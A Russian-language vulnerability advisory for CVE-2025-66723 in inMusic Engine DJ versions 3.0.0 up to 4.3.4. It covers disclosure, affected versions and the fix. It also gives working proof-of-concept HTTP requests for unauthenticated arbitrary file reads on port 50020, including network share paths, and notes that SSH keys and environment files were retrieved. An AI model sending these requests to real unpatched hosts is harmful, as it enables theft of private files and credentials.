
CVE-2025-66723: inMusic Brands Engine DJ >=3.0.0 through <4.3.4 предоставляет внешним сторонам доступ к локальным и сетевым файлам
Программное обеспечение Engine DJ от inMusic Brands содержит встроенный HTTP-сервер для передачи файлов медиатеки подключённым клиентам по сети. Файлы медиатеки указываются по путям файловой системы. Engine DJ не аутентифицирует клиентов и не ограничивает запрашиваемые пути файловой системы. Это позволяет атакующему выкрасть конфиденциальные локальные или доступные по сети файлы с затронутых систем.
Атакующему требуется только сетевой доступ к затронутому хосту; аутентификация или предварительное взаимодействие не требуются.
Engine DJ v4.3.4, выпущенная 17 ноября 2025 года, содержит меры по смягчению уязвимости. Пользователям рекомендуется как можно скорее обновиться.
Базовый балл CVSS v3.1: 7.5 (Высокий)
Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Engine DJ >=3.0.0, <4.3.4, на всех платформах (macOS, Windows).
Конкретно протестированные версии, признанные затронутыми/уязвимыми (macOS и Windows):
3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.2.0, 3.3.0, 3.4.0,
4.0.0, 4.0.1, 4.1.0, 4.2.0, 4.2.1, 4.3.0
Конкретно протестированные версии, признанные незатронутыми (macOS и Windows):
2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
4.3.4
При запуске Engine DJ привязывается к порту :50020 на всех сетевых интерфейсах IPv4, кроме localhost.
Клиенты должны использовать отдельный gRPC-сервис на порту :50010 для запроса доступа и поиска файлов медиатеки. После того как нужный путь к файлу медиатеки найден, клиент отправляет HTTP-запрос на порт :50020:
GET /download/%3CC%3A%2FMusic%2Ftest.flac%3E HTTP/1.1
Host: 192.0.2.1:50020
User-Agent: EngineOS/1.0 DenonDJ
Accept: */*
HTTP/1.1 200 OK
Content-Length: 37517194
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
…
Примечание: после декодирования GET-путь выше выглядит просто как:
/download/<C:/Music/test.flac>
При выполнении запросов нет необходимости процентно кодировать эти символы.
Атакующий может запросить всё, что доступно пользователю, от имени которого работает программное обеспечение Engine DJ, если путь известен атакующему. В этом примере для тестирования используется текстовый файл:
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 200 OK
Content-Length: 40
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
INSECURE...
From text file test.txt
Файлы, полученные во время лабораторного тестирования концепции, включали приватные SSH-ключи и файлы окружения.
Запрашиваемые пути не ограничиваются локальными файлами. Сетевые пути также оказались доступны с учётом разрешений хоста:
/download/<//EXAMPLE-SERVER/C$/secret.txt>
К счастью, в ответе сервера отсутствует заголовок Access-Control-Allow-Origin и связанные с ним заголовки. Поэтому файлы не доступны обычным веб-клиентам. Некоторые расширения или флаги браузера могут ослабить ограничения cross-origin запросов, но они редки.
Сетевой трафик IPv4 на порту :50020 может указывать на то, что Engine DJ используется, но не говорит о том, уязвим ли хост. Встроенный сервер не идентифицирует себя в своих ответах, и, по-видимому, нет измеримой разницы между уязвимыми и неуязвимыми версиями Engine DJ. Поэтому извне, по-видимому, невозможно определить, уязвим ли хост, не попытавшись запросить заведомо существующий файл.
Сразу после обнаружения inMusic Brands была уведомлена об уязвимости через их каналы технической поддержки. Реакция была профессиональной и быстрой, и мера по смягчению проблемы была выпущена в составе v4.3.4 17 ноября 2025 года для macOS и Windows.
Хотя файлы медиатеки по-прежнему можно загружать без аутентификации/авторизации, запрашиваемые пути теперь находятся в белом списке, поэтому попытка доступа к файлу вне медиатеки невозможна. Пользователи получат ответ 403 для всего, что не входит в белый список, даже если файл не существует.
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 403 Forbidden
Content-Length: 17
Content-Type: text/html
Keep-Alive: timeout=5, max=5
…
Официальные загрузки последних версий Engine DJ можно найти на официальном сайте Engine DJ:
По вопросам об этом отчёте, пожалуйста, свяжитесь с автором:
Brad Isbell, AudioPump, Inc. [email protected]